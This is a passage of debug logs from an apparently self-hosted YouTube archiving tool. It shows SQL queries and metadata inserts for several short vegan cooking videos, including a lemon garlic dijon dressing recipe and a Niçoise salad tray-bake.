((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [844] 20:30:30.346 [debug] Current batch of media processed. Will check again in 1000ms 20:30:31.347 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I keep a batch of this in my fridge AT ALL TIMES! 'Cause let me tell you, this lemony garlic dijon dressing is so dang GOOD 😊 Use it as a salad dressing, marinade, dip or sauce! It's versatile, tangy, fresh and oh so herbaceous - perfect for so many things!\n\nSAVE THIS RECIPE! ✔️\nIn a jar combine the following:\n\n1/4 cup olive oil or grapeseed oil\nJuice of 1 lemon\n2-3 cloves of garlic, minced\n2 tbsp dijon mustard\n2 green onions, finely chopped\nsalt and pepper to taste\n\nCheck out the full recipe for this PLUS it's accompanying Niçoise salad recipe on my channel! \nhttps://youtu.be/Ztps-dPnqW8", "duration" => 43, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-14 You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts/You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts [69xI_06CvYg].NA", "id" => "69xI_06CvYg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/69xI_06CvYg", "playlist_index" => 456, "timestamp" => 1652554802, "title" => "You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts", "upload_date" => "20220514"} 20:30:31.348 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1006.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:31.349 [debug] QUERY OK source="sources" db=0.4ms idle=1005.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:31.351 [debug] QUERY OK source="media_items" db=2.0ms idle=1005.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 19:00:02Z], 1] 20:30:31.353 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1006.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I keep a batch of this in my fridge AT ALL TIMES! 'Cause let me tell you, this lemony garlic dijon dressing is so dang GOOD 😊 Use it as a salad dressing, marinade, dip or sauce! It's versatile, tangy, fresh and oh so herbaceous - perfect for so many things!\n\nSAVE THIS RECIPE! ✔️\nIn a jar combine the following:\n\n1/4 cup olive oil or grapeseed oil\nJuice of 1 lemon\n2-3 cloves of garlic, minced\n2 tbsp dijon mustard\n2 green onions, finely chopped\nsalt and pepper to taste\n\nCheck out the full recipe for this PLUS it's accompanying Niçoise salad recipe on my channel! \nhttps://youtu.be/Ztps-dPnqW8", "You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts", "95e05dc2-9d18-4ad1-ab21-090a001cc13c", 1, [], 43, false, "69xI_06CvYg", "https://www.youtube.com/shorts/69xI_06CvYg", 456, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts/You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts [69xI_06CvYg].NA", false, false, true, 0, ~U[2022-05-14 19:00:02Z], ~U[2026-03-22 03:30:31Z], ~U[2026-03-22 03:30:31Z], "I keep a batch of this in my fridge AT ALL TIMES! 'Cause let me tell you, this lemony garlic dijon dressing is so dang GOOD 😊 Use it as a salad dressing, marinade, dip or sauce! It's versatile, tangy, fresh and oh so herbaceous - perfect for so many things!\n\nSAVE THIS RECIPE! ✔️\nIn a jar combine the following:\n\n1/4 cup olive oil or grapeseed oil\nJuice of 1 lemon\n2-3 cloves of garlic, minced\n2 tbsp dijon mustard\n2 green onions, finely chopped\nsalt and pepper to taste\n\nCheck out the full recipe for this PLUS it's accompanying Niçoise salad recipe on my channel! \nhttps://youtu.be/Ztps-dPnqW8", "You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts", 1, 43, false, "69xI_06CvYg", "https://www.youtube.com/shorts/69xI_06CvYg", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts/You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts [69xI_06CvYg].NA", true, ~U[2022-05-14 19:00:02Z]] 20:30:31.353 [debug] QUERY OK source="sources" db=0.4ms idle=677.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:31.354 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:31.354 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [845] 20:30:31.355 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Ever wondered if hot sauce belongs on ice cream or what other weird food pairings might actually taste amazing? In our full video we try out 8 different odd, strange, and downright weird food combinations that many people think are amazing together.\n\nCheck out the full video on our channel here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe and like!!!", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-14 Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts/Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts [Dl9xcJoW9Yw].NA", "id" => "Dl9xcJoW9Yw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Dl9xcJoW9Yw", "playlist_index" => 457, "timestamp" => 1652543935, "title" => "Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts", "upload_date" => "20220514"} 20:30:31.355 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:31.356 [debug] QUERY OK source="sources" db=0.3ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:31.358 [debug] QUERY OK source="media_items" db=1.5ms idle=2.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 15:58:55Z], 1] 20:30:31.360 [debug] QUERY OK source="media_items" db=2.1ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered if hot sauce belongs on ice cream or what other weird food pairings might actually taste amazing? In our full video we try out 8 different odd, strange, and downright weird food combinations that many people think are amazing together.\n\nCheck out the full video on our channel here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe and like!!!", "Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts", "de68c72a-085f-4951-95ef-ef4b36a93e2f", 1, [], 60, false, "Dl9xcJoW9Yw", "https://www.youtube.com/shorts/Dl9xcJoW9Yw", 457, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts/Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts [Dl9xcJoW9Yw].NA", false, false, true, 1, ~U[2022-05-14 15:58:55Z], ~U[2026-03-22 03:30:31Z], ~U[2026-03-22 03:30:31Z], "Ever wondered if hot sauce belongs on ice cream or what other weird food pairings might actually taste amazing? In our full video we try out 8 different odd, strange, and downright weird food combinations that many people think are amazing together.\n\nCheck out the full video on our channel here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe and like!!!", "Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts", 1, 60, false, "Dl9xcJoW9Yw", "https://www.youtube.com/shorts/Dl9xcJoW9Yw", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts/Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts [Dl9xcJoW9Yw].NA", true, ~U[2022-05-14 15:58:55Z]] 20:30:31.360 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:31.361 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:31.361 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [846] 20:30:31.362 [debug] Current batch of media processed. Will check again in 1000ms 20:30:32.363 [debug] Current batch of media processed. Will check again in 1000ms 20:30:33.364 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out our full video about some really strange food pairings that don't belong together and a few foods you absolutely have to try at least once in your life. We taste test some really odd foods and mash them together to see if they taste any good and then rate them with some of the weirdest ratings you'll ever see.\n\nFull YouTube video here: https://youtu.be/49F_nas-o7o", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-14 STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts/STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts [1laOl6trkWc].NA", "id" => "1laOl6trkWc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1laOl6trkWc", "playlist_index" => 458, "timestamp" => 1652495086, "title" => "STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts", "upload_date" => "20220514"} 20:30:33.365 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=775.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:33.366 [debug] QUERY OK source="sources" db=0.2ms idle=776.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:33.369 [debug] QUERY OK source="media_items" db=2.4ms idle=777.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 02:24:46Z], 1] 20:30:33.370 [debug] QUERY OK source="media_items" db=0.8ms idle=779.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full video about some really strange food pairings that don't belong together and a few foods you absolutely have to try at least once in your life. We taste test some really odd foods and mash them together to see if they taste any good and then rate them with some of the weirdest ratings you'll ever see.\n\nFull YouTube video here: https://youtu.be/49F_nas-o7o", "STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts", "0bf71c69-3f32-471d-91f9-7df79dfc8f27", 1, [], 27, false, "1laOl6trkWc", "https://www.youtube.com/shorts/1laOl6trkWc", 458, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts/STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts [1laOl6trkWc].NA", false, false, true, 2, ~U[2022-05-14 02:24:46Z], ~U[2026-03-22 03:30:33Z], ~U[2026-03-22 03:30:33Z], "Check out our full video about some really strange food pairings that don't belong together and a few foods you absolutely have to try at least once in your life. We taste test some really odd foods and mash them together to see if they taste any good and then rate them with some of the weirdest ratings you'll ever see.\n\nFull YouTube video here: https://youtu.be/49F_nas-o7o", "STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts", 1, 27, false, "1laOl6trkWc", "https://www.youtube.com/shorts/1laOl6trkWc", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts/STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts [1laOl6trkWc].NA", true, ~U[2022-05-14 02:24:46Z]] 20:30:33.371 [debug] QUERY OK source="sources" db=0.8ms idle=691.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:33.372 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:33.373 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [847] 20:30:33.373 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Looking for an easy vegan tray-bake, with zero fuss, that's also delicious and healthy? Make this vegan Niçoise salad and impress your friends with it's beauty 😍 Great for meal prep, using minimal ingredients and no cooking skills required!\n\nWATCH THE FULL RECIPE VIDEO: https://youtu.be/Ztps-dPnqW8\n\n\n\n\nMusic by The Hidden - How Is Your karma - https://thmatc.co/?l=31AB753B", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-14 NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸/NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸 [EEWQwcAvcBw].NA", "id" => "EEWQwcAvcBw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/EEWQwcAvcBw", "playlist_index" => 459, "timestamp" => 1652488412, "title" => "NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸", "upload_date" => "20220514"} 20:30:33.375 [debug] QUERY OK source="sources" db=0.9ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:33.375 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:33.379 [debug] QUERY OK source="media_items" db=3.3ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 00:33:32Z], 1] 20:30:33.382 [debug] QUERY OK source="media_items" db=2.3ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for an easy vegan tray-bake, with zero fuss, that's also delicious and healthy? Make this vegan Niçoise salad and impress your friends with it's beauty 😍 Great for meal prep, using minimal ingredients and no cooking skills required!\n\nWATCH THE FULL RECIPE VIDEO: https://youtu.be/Ztps-dPnqW8\n\n\n\n\nMusic by The Hidden - How Is Your karma - https://thmatc.co/?l=31AB753B", "NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸", "1a5f97e8-9f1b-4a27-8c9e-c7b25b9ff335", 1, [], 60, false, "EEWQwcAvcBw", "https://www.youtube.com/shorts/EEWQwcAvcBw", 459, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸/NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸 [EEWQwcAvcBw].NA", false, false, true, 3, ~U[2022-05-14 00:33:32Z], ~U[2026-03-22 03:30:33Z], ~U[2026-03-22 03:30:33Z], "Looking for an easy vegan tray-bake, with zero fuss, that's also delicious and healthy? Make this vegan Niçoise salad and impress your friends with it's beauty 😍 Great for meal prep, using minimal ingredients and no cooking skills required!\n\nWATCH THE FULL RECIPE VIDEO: https://youtu.be/Ztps-dPnqW8\n\n\n\n\nMusic by The Hidden - How Is Your karma - https://thmatc.co/?l=31AB753B", "NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸", 1, 60, false, "EEWQwcAvcBw", "https://www.youtube.com/shorts/EEWQwcAvcBw", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸/NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸 [EEWQwcAvcBw].NA", true, ~U[2022-05-14 00:33:32Z]] 20:30:33.382 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 